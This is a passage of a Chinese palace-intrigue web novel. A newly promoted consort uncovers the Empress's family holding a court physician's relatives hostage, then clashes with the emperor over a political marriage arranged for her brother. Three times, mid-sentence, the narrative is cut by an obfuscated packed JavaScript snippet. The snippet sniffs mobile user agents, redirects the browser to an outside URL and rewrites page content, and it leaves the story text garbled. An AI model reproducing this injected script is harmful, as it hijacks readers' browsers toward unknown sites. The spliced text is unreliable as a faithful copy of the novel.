待穿戴齐整走出内殿，吴全顺早已躬身候在廊下，脸上每一道皱纹都漾着逢迎的笑意：“奴才给婉昭仪娘娘道喜了！恭贺娘娘晋位之喜！” 旨意宣罢，册封礼定在下月初七。赏赐如流水般抬入库房，绫罗绸缎、珠玉古玩，光是清单就写了满满三页。 临华宫上下人人有赏，连洒扫的粗使宫女都得了丰厚的红封。 吴全顺又亲自捧过一个铺着明黄绸缎的紫檀托盘，轻轻揭开——一顶珍珠翟冠在晨光下流光溢彩。 冠身以赤金累丝为骨，其上密密匝匝缀满大小匀称的珍珠，随光线流转漾出温润虹彩。 “这是皇上登基那年，暹罗使臣进贡的南珠五十颗、米珠十石，一直珍藏在库里。” 吴全顺声音压得低，却字字清晰，“约莫十日前，皇上特意下旨命造办处赶制这顶翟冠。阖宫上下，独这一份的恩典。” “十日前……”那正是萧翊带她出宫，住进夏家的时候。 一股滚烫的暖流从心底涌起，冲得她有些目眩。或许……皇上待她，当真与旁人不同。 吴全顺前脚刚走，后脚德妃便到了。 她素日是极寡淡的，今日却罕见地穿了一身丁香紫的缠枝莲纹宫装，脸上薄薄施了胭脂，连常年苍白的唇都点了口脂，瞧着竟有了几分鲜活气。 “本宫来给妹妹道喜了！”声音也亮了些，不似往日那般气若游丝。 “嫔妾不敢当。”夏清圆忙起身相迎。因着小禄子案中德妃曾出言解围，她心里始终存着几分感激，“娘娘今日气色极好。” “叫娘娘太生分，唤声姐姐便是。”德妃摆摆手，竟是个意外的爽利性子。 她示意随侍宫女退至廊下，拉着夏清圆在临窗的榻上坐了，“我也不与你绕弯子——贤妃同她曹家接连吃瘪，我瞧着心里痛快，这几日连饭都能多用半碗。” 这话直白。夏清圆尚未完全习惯后宫这般“交浅言深”的做派，只弯了弯唇角，将话头轻巧拨开：“提起这事，妹妹还要多谢姐姐那日仗义执言。” 若不是德妃及时出现，证实小禄子与段婕妤宫人来往，她那日恐怕难以轻易脱身。 “说实话……”德妃凤眼微挑，笑意里掺着几分意味深长，“哪就那么巧，偏叫我宫里的人瞧见了？” 她倾身凑近些，声音压得更低：“妹妹若真要谢，该谢慈安宫那位才是。” “太后？”夏清圆垂下眼帘，指尖无意识摩挲着袖口的珍珠滚边。 小禄子案起初扑朔迷离，她确是懵懂被动。 可这段日子跟在萧翊身边，亲眼见着前朝如何翻云覆雨，再回看后宫这些纠葛，许多事便豁然开朗—— 太后一石三鸟，用一条人命、一枚玉佩、一场闹剧，同时达成了“换将”、“敲山震虎”、“防患未然”三重目的。这般手段，当真厉害。 “妹妹别与我装糊涂。”德妃却似看穿她心思，轻轻拍了拍她手背。 那笑意真切了几分，却叫人辨不清究竟是性情直率，还是另有盘算，“你放心，本宫不受慈安宫驱使，不过是乐得踩贤妃一脚罢了。” 德妃与贤妃的宿怨，夏清圆早有耳闻。 想起季太医那桩蹊跷事，她轻叹一声：“可惜稚子无辜。” “孩子没了，命却还留着，已是她的运气！”德妃冷笑一声，眼底掠过一丝寒意，“有些人……佛口蛇心，可比贤妃难缠多了。” 二人一盏茶尚未饮尽，周全悄步进来，躬身禀道：“主子，凤仪宫方才差人来传话，皇后娘娘申时驾临，宣示懿旨、训诫宫规。” 一听皇后要来，德妃即刻起身告辞。行至门前，她忽然回头，目光在夏清圆脸上停留一瞬，语气轻缓却清晰：“本宫无子，母家也无甚出息，能在妃位上，不过是仗着资历混日子罢了。” “妹妹如今风头正盛，日后难免磕绊。本宫不喜锦上添花，却愿雪中送炭。” 这话说得敞亮——她无意相争，更不愿卷入前朝波澜，只求安稳度日。今日走这一遭，是示好，亦是划清界限。 送走德妃，周全才压低声音回禀正事：“主子，宫外来信了。” 萧翊忙于科举改制这些日子，夏清圆在宫外亦未闲着。她暗中将裴家在宫中的人脉与夏府牵上线，虽力量微薄，眼下也算够用。 “飞鸿按主子吩咐，又盯了季太医几日。”周全附耳道，“已查实，与季太医私下交易的，都是冯国公府庄子上的人。” “冯国公府？”夏清圆指尖一颤，茶盏险些脱手。 那是皇后的母家。小禄子案从头到尾，皇后都置身事外，她从疑心过凤仪宫。 “会不会是飞鸿马虎，弄错了？”她仍存着一丝侥幸。 “大公子亲自去核查过。”周全声音更沉，“前夜，大公子与二公子潜进那庄子——里头看管的，是季太医的家眷。” 夏清圆倒抽一口凉气：“冯国公府……绑了季太医的家眷？” 若是夏青枫与飞鸿探来的消息，她或许还要存疑。可大哥夏青樟素来持重，绝不会妄言。 “是。”周全点头，“季太医盗卖宫中药材，所得钱财大半都用于打点庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908800|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子上的管事，以求家眷平安。” 将时间线细细捋过——贤妃生产出事，正在季太医开始频繁盗药之后。 难道贤妃失女，竟与皇后有关？ 震惊如冰水浇头，夏清圆后背瞬间沁出冷汗。她强迫自己定神，沉声道：“传话出去，今后这些事，让家里万不可再亲自涉险探查！” 皇上在科举上大刀阔斧，不知多少双眼睛正盯着夏家。行事若再不谨慎，便是授人以柄。 “若真是如此……此事牵扯太大了。”她稳了稳心神，“周全，你再去太医院，将贤妃产前产后所有药方、取药记录，细细核对一遍，务必隐秘。” 沉吟片刻，她又道：“荔枝，你让飞鸿设法，在不惊动冯国公府的前提下，试试能否用银子撬开庄子下人的嘴。季太医既能用银钱疏通，说明那庄子也非铁板一块。” 申时将至，凤驾仪仗已至宫门。 一番繁琐仪程后，夏清圆跪在凤仪宫正殿光洁的金砖地上，双手捧起茶盏，高举过头顶。 皇后端坐主位，身着明黄凤纹常服，姿态雍容。她接过茶盏，浅浅啜了一口，声音温和却带着不容置疑的威仪： “你能得皇上眷顾，是你的福分。往后当时刻谨记本分，悉心侍奉。若能早日为皇家开枝散叶，便是大功一件，本宫与皇上自然欣慰。” 夏清圆垂首应是，目光却不由自主落在皇后那双保养得宜、戴着翡翠护甲的手上。 皇后，为何要铤而走险，行那般阴私之事？她已有中宫尊位，有嫡子傍身，有皇上敬重，有母家支撑……还不够吗？ “婉昭仪。”郁嬷嬷轻声提醒。 夏清圆猛然回神，恭谨应道：“嫔妾谨记娘娘教诲。” 皇后也在打量她—— 不过数月，眼前这女子已褪去初入宫时的青涩怯懦，眉眼间沉淀下一种被帝王恩宠滋养出的从容气度。那是权势浸润过的痕迹。 曹扣军倒台，皇上大力提拔清流，前朝格局已变。夏家的崛起，只是时日问题。 皇后唇角弯起恰到好处的笑意，从郁嬷嬷捧着的托盘里取出一支金钗。钗头以赤金累丝嵌白玉，雕成瓜瓞绵绵的图样，做工极精巧。 “这金镶玉簪，是先太皇太后在本宫大婚时所赐，寓意瓜瓞绵绵。”她起身，亲手将簪子插入夏清圆鬓间，指尖掠过她额发时，带着一丝冰凉的触感，“今日，本宫便将这好意头赐予你。” 又说了些“后宫和睦”、“谨守宫规”的场面话，皇后话锋忽地一转：“本宫今日听皇上提起，盛赞你兄长为人稳重。” 夏清圆心头警铃大作，面上仍维持恭顺：“皇上谬赞，臣妾兄长愧不敢当。” “你兄长今年青春几何？可曾婚配？” “回娘娘，兄长今年二十有四，尚未婚配。”她语速稍快，斟酌着词句，“兄长性子木讷老实，今年又错过了会试。家父家母常忧心他前程，说他老大不小却无一技傍身，正商议着……让他回扬州老家，打理些田产庶务。” 话音落，殿内有一瞬寂静。 皇后抚了抚袖口繁复的刺绣，笑容未变，眼底却掠过一丝几不可察的思量。 24. 联姻 慈安宫中，炭火将紫铜熏笼烧得微微发红。太后将康王从蜀地传来的加急家书，轻飘飘掷入炭盆。火舌卷上纸页，边缘迅速焦黑、卷曲，化作一团跳动的幽蓝火焰，转瞬成灰。 “废物。”她声音不高，却字字透露着不满。 “王爷也是忧心京中局势。多少年没经历过这般大的变动了，一时慌了手脚，也是有的。”肃月低眉垂目，温声劝慰。 “不过是撺掇了几个不知天高地厚的穷学生闹了一场，撤了个自己送上门去的曹扣军。”太后指尖捻过沉香佛珠，冷笑，“他若连这点风吹草动都受不住，趁早缴了王印，当个田舍翁去！” “只是……科举改制一旦推行，往后咱们想往朝中安插自己人，可就难了。”肃月斟酌道。 太后眸光一沉：“不能引荐新人，朝堂上盘根错节的老人，难道都死绝了么？” 正如太后所料，科举改革的刀锋触及的远不止几个臣子，更是整个世族宗亲与藩臣、文官赖以生存的根基。 曹扣军被贬的余波尚未散尽，一个新的利益联盟已悄然形成。世家、宗亲、藩臣、文官集团，这些平日里互相倾轧的势力，在短短两日内，不约而同地从“祖宗家法”与“功臣勋旧”的角度，向帝王发起了无声的围剿。 官员们不敢明着抗旨，便祭出了官场最古老也最有效的武器——消极怠工。 工部官员的奏折雪片般飞上御案，言辞凿凿：短时间内招募大量可靠且笔迹端秀的誊录员，实属天方夜谭，无人可用，巧妇难为无米之炊。 户部的账本算盘打得噼啪响：推行糊名誊录、扩大监考规模、铺开全国考场，每一项都是吞金巨兽。又以“南疆水患未平、北境军饷吃紧”为由，将科举改革的专项拨款死死卡住。 御史台更不乏“忠直之士”，忧心忡忡地上书质疑：誊录过程繁复，若生错漏、调包，岂非制造新的冤屈，反失公平本意？ 改革派与守旧派在朝堂上连日鏖战，唾沫横飞。萧翊在雷霆处置了向维明、曹扣军之后，深知不能再一味以刑狱立威。他端坐龙椅之上，冷眼旁观这场喧嚣，心头却无比清明—— 舆论攻讦尚在其次，真正的死结只有两个：缺人，缺钱。 世族、宗亲、藩臣、文官……这些平日里斗得你死我活的势力，此刻却空前团结，铁板一块。必须找到一丝裂缝，撬开一个缺口。 正当他凝神思忖之际，吴全顺悄步近前，低声道：“皇上，凤仪宫传话，皇后娘娘请您过去共用晚膳。” 萧翊眼中掠过一丝锐芒。 冯国公府，三朝世家，虽今日不同往日，但在盘根错节的世族宗亲中，仍有着不可小觑的潜在影响力。更重要的是，他们有大皇子这个未来的指望，或许是守旧派中，态度最有可能松动的一环。 申时末，萧翊踏进凤仪宫。 皇后今日未着繁复宫装，只一袭月白色家常襦裙，发间簪了支简单的白玉簪，衬得人淡雅温柔，与平日中宫威仪大相径庭。 “皇上来了。”她迎上前，眉眼含笑，“臣妾想着皇上近日劳心，特意亲手做了几样清淡去火的小菜。” 这是郁嬷嬷的主意——先叙夫妻情分，再谈前朝纷扰。伸手不打笑脸人。 萧翊伸手虚扶她起身，目光在她脸上停留一瞬：“皇后费心了。” “臣妾不辛苦。”皇后引他入座，亲手布菜，语气温婉中带着恰到好处的忧切，“臣妾只恨自己才疏学浅，不能为皇上分忧解难。” 萧翊何等敏锐，已然看出她今日姿态放软，必有后文。他不动声色，静待其变。他也想看看，出身世家的皇后，此刻究竟会选择站在哪一边。 “臣妾母族冯国公府，虽今非昔比，到底还是当朝仅存的两座国公府之一，在宗亲世族中，尚有些微薄颜面。”皇后忽然起身，敛衽跪地，行了一个郑重的大礼，“皇上改革科举，乃利在千秋的圣明之举。冯家……愿为皇上马前卒，略尽绵力。” 萧翊执箸的手一顿，神色略微缓和：“听皇后之言，似有良策？” “后宫不得干政，臣妾明白。故而只能以妇人浅见，为皇上稍解烦忧。” 皇后先将自己摘出，姿态恭顺，“臣妾对藩臣权斗、文官倾轧知之甚少。但宗亲世家之所以关系盘根错节，无非是靠姻亲血脉缠绕，一荣俱荣，一损俱损。” 她或许不解风情，但九年来，她的目光从未离开过前朝起伏。此刻的困局，恰是她最擅长的领域。 “与藩臣恋栈、文官贪权不同，宗亲世家最怕的，是子孙失去恩荫，断了前程。”她缓缓道来，目光留意着皇帝的神情，“皇上若愿稍示亲近，暂且承诺其子弟出仕之途不受新制过大影响，他们的态度，未必不会软化。” “如今皇上面对的是宗亲世家与藩臣文官两股合力。或许……可对一方稍加拉拢，分化其势，以解燃眉之急。”她顿了顿，声音更轻，“毕竟……会试在即，新制需尽快步入正轨。” 萧翊想起白日里谢停云亦曾建言，须挑起守旧派内斗，分而化之。此刻皇后所言，竟与帝师不谋而合。 以冯夏联姻作为投名状，让世家看到来日希望，换取守旧派对改革的部分妥协。这是眼下打破僵局，成本最低、见效最快的法子。 夫妻九载，皇后虽少了些闺阁柔情，却是无可挑剔的贤内助，宫务打理得井井有条，子嗣教养亦从未让他费心。 他伸手，轻轻握住皇后置于案上的手：“看来，过去是朕小看皇后了。” 铺垫至此，皇后话锋悄然一转：“今日与皇上说起这些，倒让臣妾想起一桩家事，说来也是缘分。” “臣妾二妹冯瑚，今年双十，性情温婉，尚待字闺中。家父近来常为她的婚事悬心。”她抬眼，目光诚恳，“日前听婉昭仪提起，其兄长夏青樟为人稳重端方，也是极好的青年才俊。若能成就这段姻缘，在此刻，或可视作冯国公府代表部分世家，向皇上新政示好的一份诚意。而且，有了这份助力，夏大人日后在朝中，路也能走得顺遂些。” 萧翊心下透亮。皇后自有私心，夏家正有起势，冯国公府却江河日下，借此联姻攀附新贵，确是盘算。 但她所言亦在理——他此刻正需要一个来自世家内部的明确信号，来瓦解守旧联盟的铜墙铁壁。 想起夏青樟那老成持重的模样，再看皇后行事风格， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908801|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料想其妹亦当是知书达理的大家闺秀。这桩婚事，似乎并无不妥。 “皇后思虑周全。”他微微颔首，算是默许。 膳后，萧翊又考校了大皇子功课，指点他练了会儿字。皇后见时辰不早，适时温言道：“今日是婉昭仪晋封昭仪的好日子，此刻怕是正盼着皇上呢。” 临华宫中，夏清圆并未期盼圣驾，而是将自己关在书房。 信纸铺了一桌，写一张，揉一团，满地狼藉。 皇后白日里的话像一根冰冷的针，扎在她心头，每每思及，便觉寒意顺着脊椎爬上——无论如何，她绝不愿大哥与冯国公府扯上关系。 抛却朝局利害不谈，单论大哥夏青樟，那般坦诚温厚的性子，合该娶一位门第相当、性情相投的寻常女子，安稳度日，何必去攀附那看似华贵、内里不知何等复杂的高门？ 更何况，她已见识过皇后的手段，那未曾谋面的冯家二小姐，又会是省油的灯么？ 她想写信提醒家中，让父亲探探大哥口风，或干脆寻个借口让大哥暂避扬州。可又怕自己小题大做，反令家人徒增忧虑。 “皇上驾到——！” 通传声猝然响起，惊得她手一抖。她慌忙将满桌纸团扫进抽屉，定了定神，方快步迎出。 “臣妾给皇上请安！”她扬起笑脸，仿佛瞬间将所有烦忧抛诸脑后。一见萧翊，心底便不由自主地松快起来。 萧翊揽过她，说了些闲话，方似不经意道：“有桩小事，朕想听听你的意思。” “瞧瞧，臣妾这昭仪才做了半日，皇上就要派差事了？”夏清圆顺势软软依进他怀里，嗓音娇糯，带着撒娇的鼻音。 “朕想着，给你兄长夏青樟，和冯国公府的二小姐赐婚。” 夏清圆心头猛地一沉，仿佛瞬间坠入冰窟。她强自按捺，仰起脸，眼波流转间仍是娇憨模样，却藏着小心翼翼的试探：“皇上怎么忽地想起当月老了？” “你觉得不好？”萧翊垂眸看她。 “臣妾……觉得不太好。”她声音低了下去。 “为何？” “大哥的性子皇上也见过，最是朴实耿直，只怕与国公府千金……相处不来。”她寻了个最表浅的理由搪塞。 “皇后说了，那是个温柔知礼的姑娘。冯家百年世家，教养总不会差。”萧翊把玩着她一缕散下的青丝，语气平淡却带着不容置喙的意味，“朕明日便下旨。待成婚之后，再让你大哥到禁军历练，前程也有了着落。” “臣妾……臣妾……”夏清圆只觉得一股郁气堵在胸口，憋闷得发慌。季太医的事尚无实证，她不敢贸然指控皇后，此刻竟找不到更有力的理由反驳。 情急之下，她余光瞥见灯下那顶光华流转的珍珠翟冠，心头忽生出一股混杂着委屈与试探的冲动—— 她索性闹将起来，扯着萧翊的袖角，声音带上了刻意的娇蛮：“反正臣妾就是不想让大哥娶那二小姐！” “圆圆。”萧翊喜欢她偶尔使小性子的闺阁情趣，但那点喜欢，远不足以让他纵容她干涉前朝布局与皇家权衡。他脸色沉了下来，声音里透出不容置疑的冷意，“此事，由不得你任性。” 25. 离心 更深露重，烛火将殿内两人的影子拉长、扭曲，如鬼魅般攀附在描金彩绘的梁柱上。 萧翊那句“此事，由不得你任性”，字字如冰锥，将夏清圆从头到脚钉在原地。 方才强撑的娇蛮，瞬间冻僵在脸上，血色褪尽，只剩一片空茫的苍白。她扯着他袖角的手指还维持着用力的姿势，指尖却已冰凉僵硬，能清晰感受到锦缎下他绷紧如铁的手臂——那是皇权不容撼动的硬度。 萧翊拂袖。 动作其实不大，只手腕微转，便将那片被她攥住的玄色衣料从指间抽离。袖摆掠过她手背，带起一丝微不可察的风，拂过皮肤，却比耳光更让她感到火辣辣的尴尬。 他转身，没有再看她一眼，径直朝殿外走去。步履沉稳，衣袂间甚至没有多余的褶皱，仿佛方才的争执、她的反对、所有激烈翻涌的情绪，都不过是拂过磐石的一缕尘埃。 殿门开了，又合上。 临华宫正殿霎时间静得可怕，只有琉璃宫灯里的烛芯偶尔爆出细微的“噼啪”声，在死寂中显得格外惊心。 夏清圆还站在原地，维持着微微前倾、手悬半空的姿势，像个被突然抽走提线的木偶。殿门合拢的余音在耳中嗡嗡作响，化为一片空洞的白噪音。 她垂下眼帘，目光落在自己掌心被指甲掐出的、深深的红痕。 一种迟来的、巨大的眩晕感攫住了她。 不是愤怒，不是悲伤，甚至不是委屈——而是一种更彻底、更冰冷的洞悉。 她明知季太医案里皇后可能涉嫌谋害皇嗣，却因缺乏铁证无法言说。这种知情却无力的困境，让她反对联姻的理由在萧翊看来苍白而任性。 而当她试图用撒娇耍赖这样的小手段去影响政局决策时，却撞上了冰冷的皇权铁壁。这是她第一次如此清晰地认识到，在真正的权力天平上，个人情感何其轻微。 他给她宠爱、殊荣，甚至偶尔给她“并肩”的幻觉。可这一切的背面都明码标价——代价就是她和她的家人，必须成为他棋盘上任其摆布的棋子。兄长的人生、家族的安宁，都可以是砝码。 心口先是一片麻木的冰凉，随即，一股尖锐细密的刺痛才后知后觉地弥漫开来，像无数根冰冷的针同时扎下。不是很剧烈的疼，却绵绵密密无处可逃，让她连呼吸都觉得滞涩。 她想起他方才看她的眼神。没有怒意，只有一种居高临下、不容置疑的平静。那眼神分明在说：你只需接受，无需理解，更无权反对。 原来这就是帝王之爱。温情时能融化冰雪，翻脸时便是万丈深渊。而那条界限在哪里，全由他定。 “小姐……”荔枝从殿角怯生生上前，声音里带着未退的惊惶。她虽未听清全部，但帝王的离去和主子煞白的脸色已说明一切。 这一声轻唤像针，刺破了夏清圆周身僵硬的外壳。 她没有哭，甚至没有太大动作。只是极其缓慢地、一点一点地将那只还悬在半空的手收回，紧紧攥成拳，指甲更深地嵌入掌心的红痕，试图用更清晰的疼痛压下心头那片空洞。 她转过身，目光落在不远处梳妆台上。那顶珍珠翟冠在烛火下依旧流光溢彩，华美不可方物。可此刻再看，那温润珠光却像极了嘲讽的眼泪。 伸手，指尖轻轻拂过翟冠上冰凉的珍珠。 然后，她打开了妆匣最底层，将那顶象征着无上恩宠的冠冕轻轻放了进去。 “咔哒”一声轻响，盒盖合拢，锁住了所有华光，也锁住了她心底某个刚刚破土就骤然遭遇寒霜的角落。 “我没事。”夏清圆开口，声音出乎意料地平静，甚至平静得有些过了，像一潭不起波澜的死水。“收拾一下，歇了吧。” 躺进锦被时，身侧一片空凉，远比昨夜他离去后更甚。 昨夜的空尚余一丝温存的余韵；此刻的空，只剩下凛冽的清醒。 她眯着眼，望着帐顶繁复的绣纹在黑暗中渐渐模糊成一片混沌的影。 心里那片刺痛渐渐麻木，沉淀下来的是一种前所未有的冰冷和清醒。 皇上的宠爱是镜花水月，家族的清誉是空中楼阁，唯有握在手中的东西才是真实的。 她轻轻翻了个身，将脸埋进柔软的枕衾间。 往后的路不能再靠着那点“特别”和“运气”走下去了。 --- 萧翊走出临华宫时，冬夜凛冽的寒气扑面而来，将身后暖阁里残留的甜香和那点令人不快的胶着气氛瞬间切割得干干净净。 吴全顺提着灯笼无声趋步上前，觑着皇帝脸色，将一件玄狐大氅小心披在他肩上。 萧翊没动，任由内侍系好带子，目光却落在远处养心殿方向那一片沉凝的灯火上。 最初的几步，他步履比平日略快，带着一丝未消的“不耐”。 那感觉并不尖锐，更像衣袖沾上了些许黏腻的糖浆，甩脱时需要多用一分力气。 夏清圆最后扯着他袖角、仰着脸说“反正臣妾就是不想”的模样，在她自己看来或许是娇憨执拗，落在他眼里却是一种不合时宜的天真，甚至是对他所致力事业的轻慢。 “由不得你任性。” 这句话出口时，他并未觉得严厉，甚至认为是一种必要的、清晰的告知，如同告诫一个试图触碰锋利刀刃的孩子。 他给予她超越常例的关注和亲近，不代表她可以混淆公私，介入朝政。 他赐她兄长前程，予她家族荣耀，在她看来竟比不上她那点“兄妹情深”、“性情不合”的浅薄顾虑？ 他并不至于愤怒，甚至不是失望。是一种“果然如此”的轻微厌烦。 他厌烦的并非夏清圆本人，而是她此刻所代表的、他以为她或许能跳脱出来的那种“后宫常态”——视野局限于方寸之地，用私情干扰公器。 他想起她扯住他袖角的样子，想起她眼底那点强装镇定却依旧泄露的委屈。那姿态，与后宫任何一位试图用眼泪或撒娇换取利益、干预他决策的妃嫔，在本质上有什么不同？ 这个念头让他心头掠过一丝极淡的、几乎难以捕捉的索然。 他曾觉得她不同。她怕死却贪鲜，懒散又好奇，对权势有天真而直接的向往。在她身边，他偶尔能卸下“皇帝”的重铠，做片刻放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908802|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松的“萧翊”甚至“宋逍”。 这份鲜活与真实是他枯燥紧绷的帝王生活中罕有的调剂，甚至让他产生过一丝微妙的、连自己都不愿深究的期待——将她置于一个“略可交谈”的位置。 可她方才的表现，将她彻底打回了原形。 她依然是困于后宫方寸天地、只看得见眼前亲疏喜好的普通女子。这份认知上的矫正，带来一种轻微的、类似投资失算的乏味感。 寒风卷过宫道，吹得灯笼里的烛火一阵剧烈摇曳，在他深不见底的眸中投下晃动的光影。 行至中途，他的脚步渐渐恢复了惯常的沉稳节奏。 那点因被打断思路而生的不悦，已被更宏大的思虑覆盖。冯夏联姻的政治效果将如何？科举无人可用的困境如何解决？土地改制是否要先缓一缓？……这些才是真正占据他心神的棋局。 至于夏清圆那点小性子…… 他微微蹙了下眉，随即舒展开。不过是个小插曲。她需要冷静一下，认清自己的本分。 或许，这几日该冷一冷她。恩宠太过，容易让人忘了身份。 然而，一丝极其淡漠的、近乎施舍的“考虑”又滑过心头：过两日，让吴全顺挑些她喜欢的玩意儿送过去，算是安抚。 但这念头一闪即逝，快得如同夜鸟掠过宫墙的阴影。 赏赐是君恩，是手段，与此刻她“犯错”该受的冷落并不矛盾。 雷霆雨露，皆是君恩。本就如此。 他已走到养心殿的台阶下。殿内通明的灯火将他的身影拉得颀长，投在冰冷的汉白玉阶上，威严而孤独。 吴全顺小心翼翼的声音在旁响起：“皇上，可要传宵夜？” 萧翊脚步未停，踏上台阶。 “不必。”他的声音恢复了平日的清冷沉静，听不出任何情绪波动。仿佛方才临华宫内的那场短暂波澜，不过是处理了一封无关紧要的奏章，批下了一个“知道了”的朱批。 “明日朝后，传谢停云、周明堂。还有，邯山书院那三个学生，韩孝闻、刑录、邓书满，来见朕。” 他的心思已彻底回到了前朝汹涌的暗流与即将落下的改革重锤之上。 夏清圆的眼泪或委屈，在她那方精致的天地里或许惊心动魄，但落入这盘以江山为赌注的棋局中，连一丝涟漪都未能真正激起。 只是，在他推开养心殿那扇沉重殿门的瞬间，眼前又极快地闪过她今夜的模样—— 不是最后争执时的执拗，而是更早一些，她迎出来时那双在宫灯下亮晶晶的眼睛，以及扑进他怀里时发间那缕淡淡的、温暖的香气。 这画面出现得突兀，消失得也迅疾。 萧翊的脚步几不可察地顿了一刹那，随即面无表情地跨过了那道高高的门槛。 殿门在他身后缓缓关闭，将所有的寒夜、灯火，以及那一点点突兀闪现又迅速湮灭的柔软印象，统统隔绝在外。 养心殿内烛火通明，奏章如山。 他依旧是需要全神贯注在与各方势力周旋的帝王。而临华宫内的悲欢，在帝国的宏大叙事面前，轻如尘埃。 26. 取险 晨光初透，纱幔外天色仍是蟹壳青。宫灯里残烛将尽，烛泪堆叠如珊瑚小山，在静谧中偶尔爆出极细微的“噼啪”一声。 夏清圆坐在临窗的书案前，铺开两方素笺。 她提起笔，笔尖在砚池里饱蘸浓墨，却在触及纸面的刹那悬停，一滴墨珠颤巍巍坠下，在纸上无声地洇开一小团深色的晕。 第一封信，她写得极慢，笔锋力求端正，遣词造句反复斟酌。 信中详尽阐述了冯夏联姻对稳固夏家在朝堂新局中的地位、为兄长夏青樟铺设坦荡仕途的种种益处，语气积极恳切，仿佛这真是天降的、不容错过的良缘。 她叮嘱母亲，待圣旨下达，务必让大哥即刻入宫叩谢天恩，在聘礼规格、六礼仪程上，定要倾尽全力，务必周全，绝不可因寒俭而失了体面，怠慢了冯国公府。 字字句句，皆是一个深明大义、感念皇恩的妃嫔，一个顾全家族、为兄长筹谋的妹妹该有的言辞。 写罢，她轻轻吹干墨迹，唤来侍立一旁的锦娘。 “你走一趟，将此信面交吴全顺，请他按宫规章程，稳妥送出宫外，交予我母亲。” “是，主子。”锦娘双手接过，指尖触到微凉的纸张，头垂得更低了些。 她明白这“按宫规”三字的意味——这封信的内容，不怕被任何人看见，甚至，或许正希望被皇上看见。 锦娘悄步退下，殿门开合间，卷入一丝冬日清晨凛冽的寒气。 夏清圆独自坐在渐明的天光里，案上另一张素笺洁白刺目。 昨夜辗转，头痛欲裂，心口像压着块浸了水的冷棉絮，沉甸甸地透不过气。 可就在东方既白、最黑暗寒冷的那一刻，她混沌的脑海中仿佛骤然劈入一道雪亮的光—— 皇上要瓦解守旧派的联盟，冯夏联姻示好世家，固然是一条路。 但，还有一条更直接、更凶狠的路—— 坐实皇后戕害皇嗣。 此罪一旦钉死，冯国公府顷刻间便是灭顶之灾，为了家族存续，他们只能匍匐在地，向皇帝乞求宽宥，再无半分讨价还价的底气。 而贤妃身后的陇西曹氏与文官集团，若知贤妃丧女是受皇后所害，那看似铁板一块的守旧联盟，立刻会从内部崩开一道鲜血淋漓的裂痕。 届时，皇上哪里还需要用她兄长的婚事，去换那点微不足道的“态度软化”？ 想通此节，她心中并无豁然开朗的喜悦，只有更深的寒意与惶惑。 但比起眼睁睁看着大哥踏入那精心装饰的牢笼，看着夏家被绑上冯家这艘可能即将倾覆的破船，她宁愿铤而走险。 第二封信，她写得快了许多，笔锋甚至显得有些急促。 信中未提宫中任何隐秘，只再三强调：皇恩浩荡，绝不可明面违抗，但婚期之事，务必寻个由头，竭力周旋拖延。 所有表面礼数照旧，热闹要给足，但实质性的推进，能缓则缓，能拖则拖。 ——她必须在联姻成事实之前，让真相大白。 否则，一旦礼成，夏家便与冯家成了姻亲，一损俱损。 到那时，即便她手握皇后罪证，为了保全夏家满门，恐怕也不得不帮着遮掩，甚至被拖下泥潭。 “荔枝，”她声音不高，“你把这封家书，设法交给飞鸿，让他务必亲手转交我母亲或大哥。” “主子放心，奴婢明白。”荔枝素来伶俐，无须多言，便从昨日风波的余韵中，窥见了山雨欲来。“飞鸿上次递话进来，说二少爷打定了主意要留在京城，为主子在外经营些可靠的门路和人手。” 夏清圆微微颔首，心底稍慰。 青枫虽跳脱，却机敏过人，有他在外奔走，确是助力。她稳了稳心神，又扬声唤道：“周全。” 周全应声而入，依旧是那副沉稳模样，新换的掌事太监服饰让他看起来比在太医院时多了几分气度。 “你在太医院日久，可曾留意，贤妃娘娘在那边，除了季太医，还有无信重的人手？”夏清圆问得直接。 周全略一思索，躬身回道：“回主子，后宫各主位娘娘，多在太医院有一二心腹。贤妃娘娘宫中一应用药事宜，向由季太医总揽，但具体煎药、送药的细务，多是由煎药房一个名叫小罗的内侍经手。” “小罗……”夏清圆低声重复，眸中闪过一丝锐光，“你想个法子，要做得自然，让这位小罗公公‘偶然’得知——季太医的妻儿老小，被‘请’去了冯国公府在京郊的庄子上。” 她顿了顿，语气更沉：“记住，是‘偶然得知’，是听来的闲话，与你、与临华宫都无半分干系。” 周全心领神会，垂首道：“奴才明白。” “荔枝，传话给飞鸿，季太医那条线，立刻撤了，不必再跟。冯家庄子那边，更不可再靠近探查。” 贤妃刚经历丧女之痛，曹扣军又被当朝贬斥，正是憋着一口气想要翻身的时候。 皇上的处置留有余地，未必没有存着日后敲打利用陇西集团的心思。 